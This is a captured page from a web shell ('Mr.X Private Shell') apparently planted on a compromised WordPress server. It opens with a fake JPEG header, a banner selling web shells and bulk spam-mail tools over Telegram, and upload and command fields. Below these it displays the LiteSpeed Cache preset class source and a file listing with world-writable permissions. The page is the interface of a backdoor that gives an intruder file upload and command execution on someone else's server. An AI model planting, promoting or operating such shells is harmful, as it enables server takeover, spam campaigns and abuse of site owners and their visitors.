����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

airtcsob@216.73.216.143: ~ $
<?php
/**
 * The preset class.
 *
 * @since  5.3.0
 */
namespace LiteSpeed;

defined('WPINC') || exit();

class Preset extends Import {

	protected $_summary;

	const MAX_BACKUPS = 10;

	const TYPE_APPLY   = 'apply';
	const TYPE_RESTORE = 'restore';

	const STANDARD_DIR = LSCWP_DIR . 'data/preset';
	const BACKUP_DIR   = LITESPEED_STATIC_DIR . '/auto-backup';

	/**
	 * Returns sorted backup names
	 *
	 * @since  5.3.0
	 * @access public
	 */
	public static function get_backups() {
		self::init_filesystem();
		global $wp_filesystem;

		$backups = array_map(
			function ( $path ) {
				return self::basename($path['name']);
			},
			$wp_filesystem->dirlist(self::BACKUP_DIR) ?: array()
		);
		rsort($backups);

		return $backups;
	}

	/**
	 * Removes extra backup files
	 *
	 * @since  5.3.0
	 * @access public
	 */
	public static function prune_backups() {
		$backups = self::get_backups();
		global $wp_filesystem;

		foreach (array_slice($backups, self::MAX_BACKUPS) as $backup) {
			$path = self::get_backup($backup);
			$wp_filesystem->delete($path);
			Debug2::debug('[Preset] Deleted old backup from ' . $backup);
		}
	}

	/**
	 * Returns a settings file's extensionless basename given its filesystem path
	 *
	 * @since  5.3.0
	 * @access public
	 */
	public static function basename( $path ) {
		return basename($path, '.data');
	}

	/**
	 * Returns a standard preset's path given its extensionless basename
	 *
	 * @since  5.3.0
	 * @access public
	 */
	public static function get_standard( $name ) {
		return path_join(self::STANDARD_DIR, $name . '.data');
	}

	/**
	 * Returns a backup's path given its extensionless basename
	 *
	 * @since  5.3.0
	 * @access public
	 */
	public static function get_backup( $name ) {
		return path_join(self::BACKUP_DIR, $name . '.data');
	}

	/**
	 * Initializes the global $wp_filesystem object and clears stat cache
	 *
	 * @since  5.3.0
	 */
	static function init_filesystem() {
		require_once ABSPATH . '/wp-admin/includes/file.php';
		\WP_Filesystem();
		clearstatcache();
	}

	/**
	 * Init
	 *
	 * @since  5.3.0
	 */
	public function __construct() {
		Debug2::debug('[Preset] Init');
		$this->_summary = self::get_summary();
	}

	/**
	 * Applies a standard preset's settings given its extensionless basename
	 *
	 * @since  5.3.0
	 * @access public
	 */
	public function apply( $preset ) {
		$this->make_backup($preset);

		$path   = self::get_standard($preset);
		$result = $this->import_file($path) ? $preset : 'error';

		$this->log($result);
	}

	/**
	 * Restores settings from the backup file with the given timestamp, then deletes the file
	 *
	 * @since  5.3.0
	 * @access public
	 */
	public function restore( $timestamp ) {
		$backups = array();
		foreach (self::get_backups() as $backup) {
			if (preg_match('/^backup-' . $timestamp . '(-|$)/', $backup) === 1) {
				$backups[] = $backup;
			}
		}

		if (empty($backups)) {
			$this->log('error');
			return;
		}

		$backup = $backups[0];
		$path   = self::get_backup($backup);

		if (!$this->import_file($path)) {
			$this->log('error');
			return;
		}

		self::init_filesystem();
		global $wp_filesystem;

		$wp_filesystem->delete($path);
		Debug2::debug('[Preset] Deleted most recent backup from ' . $backup);

		$this->log('backup');
	}

	/**
	 * Saves current settings as a backup file, then prunes extra backup files
	 *
	 * @since  5.3.0
	 * @access public
	 */
	public function make_backup( $preset ) {
		$backup = 'backup-' . time() . '-before-' . $preset;
		$data   = $this->export(true);

		$path = self::get_backup($backup);
		File::save($path, $data, true);
		Debug2::debug('[Preset] Backup saved to ' . $backup);

		self::prune_backups();
	}

	/**
	 * Tries to import from a given settings file
	 *
	 * @since  5.3.0
	 */
	function import_file( $path ) {
		$debug = function ( $result, $name ) {
			$action = $result ? 'Applied' : 'Failed to apply';
			Debug2::debug('[Preset] ' . $action . ' settings from ' . $name);
			return $result;
		};

		$name     = self::basename($path);
		$contents = file_get_contents($path);

		if (false === $contents) {
			Debug2::debug('[Preset] ❌ Failed to get file contents');
			return $debug(false, $name);
		}

		$parsed = array();
		try {
			// Check if the data is v4+
			if (strpos($contents, '["_version",') === 0) {
				$contents = explode("\n", $contents);
				foreach ($contents as $line) {
					$line = trim($line);
					if (empty($line)) {
						continue;
					}
					list($key, $value) = \json_decode($line, true);
					$parsed[$key]      = $value;
				}
			} else {
				$parsed = \json_decode(base64_decode($contents), true);
			}
		} catch (\Exception $ex) {
			Debug2::debug('[Preset] ❌ Failed to parse serialized data');
			return $debug(false, $name);
		}

		if (empty($parsed)) {
			Debug2::debug('[Preset] ❌ Nothing to apply');
			return $debug(false, $name);
		}

		$this->cls('Conf')->update_confs($parsed);

		return $debug(true, $name);
	}

	/**
	 * Updates the log
	 *
	 * @since  5.3.0
	 */
	function log( $preset ) {
		$this->_summary['preset']           = $preset;
		$this->_summary['preset_timestamp'] = time();
		self::save_summary();
	}

	/**
	 * Handles all request actions from main cls
	 *
	 * @since  5.3.0
	 * @access public
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ($type) {
			case self::TYPE_APPLY:
            $this->apply(!empty($_GET['preset']) ? $_GET['preset'] : false);
				break;

			case self::TYPE_RESTORE:
            $this->restore(!empty($_GET['timestamp']) ? $_GET['timestamp'] : false);
				break;

			default:
				break;
		}

		Admin::redirect();
	}
}

Filemanager

Name Type Size Permission Actions
cdn Folder 0755
data_structure Folder 0755
activation.cls.php File 15.46 KB 0777
admin-display.cls.php File 35.43 KB 0777
admin-settings.cls.php File 10.95 KB 0777
admin.cls.php File 4.47 KB 0777
api.cls.php File 11.52 KB 0777
avatar.cls.php File 6.12 KB 0777
base.cls.php File 32.76 KB 0777
cdn.cls.php File 13.22 KB 0777
cloud.cls.php File 54.16 KB 0777
conf.cls.php File 17.52 KB 0777
control.cls.php File 21.25 KB 0777
core.cls.php File 20.16 KB 0777
crawler-map.cls.php File 14.89 KB 0777
crawler.cls.php File 42.08 KB 0777
css.cls.php File 15.25 KB 0777
data.cls.php File 17.98 KB 0777
data.upgrade.func.php File 23.38 KB 0777
db-optm.cls.php File 10.36 KB 0777
debug2.cls.php File 13.21 KB 0777
doc.cls.php File 4.73 KB 0777
error.cls.php File 6.93 KB 0777
esi.cls.php File 27.25 KB 0777
file.cls.php File 10.55 KB 0777
gui.cls.php File 30.21 KB 0777
health.cls.php File 2.9 KB 0777
htaccess.cls.php File 24.15 KB 0777
img-optm.cls.php File 64.35 KB 0777
import.cls.php File 4.27 KB 0777
import.preset.cls.php File 5.48 KB 0777
lang.cls.php File 14.91 KB 0777
localization.cls.php File 3.42 KB 0777
media.cls.php File 33.6 KB 0777
metabox.cls.php File 4.23 KB 0777
object-cache.cls.php File 16.47 KB 0777
object.lib.php File 34.13 KB 0777
optimize.cls.php File 38.62 KB 0777
optimizer.cls.php File 9.49 KB 0777
placeholder.cls.php File 14.26 KB 0777
purge.cls.php File 31.63 KB 0777
report.cls.php File 6.19 KB 0777
rest.cls.php File 7.52 KB 0777
root.cls.php File 12.73 KB 0777
router.cls.php File 20.38 KB 0777
str.cls.php File 2.45 KB 0777
tag.cls.php File 9.27 KB 0777
task.cls.php File 6.14 KB 0777
tool.cls.php File 3.41 KB 0777
ucss.cls.php File 14.31 KB 0777
utility.cls.php File 20.91 KB 0777
vary.cls.php File 20.18 KB 0777
vpi.cls.php File 7.35 KB 0777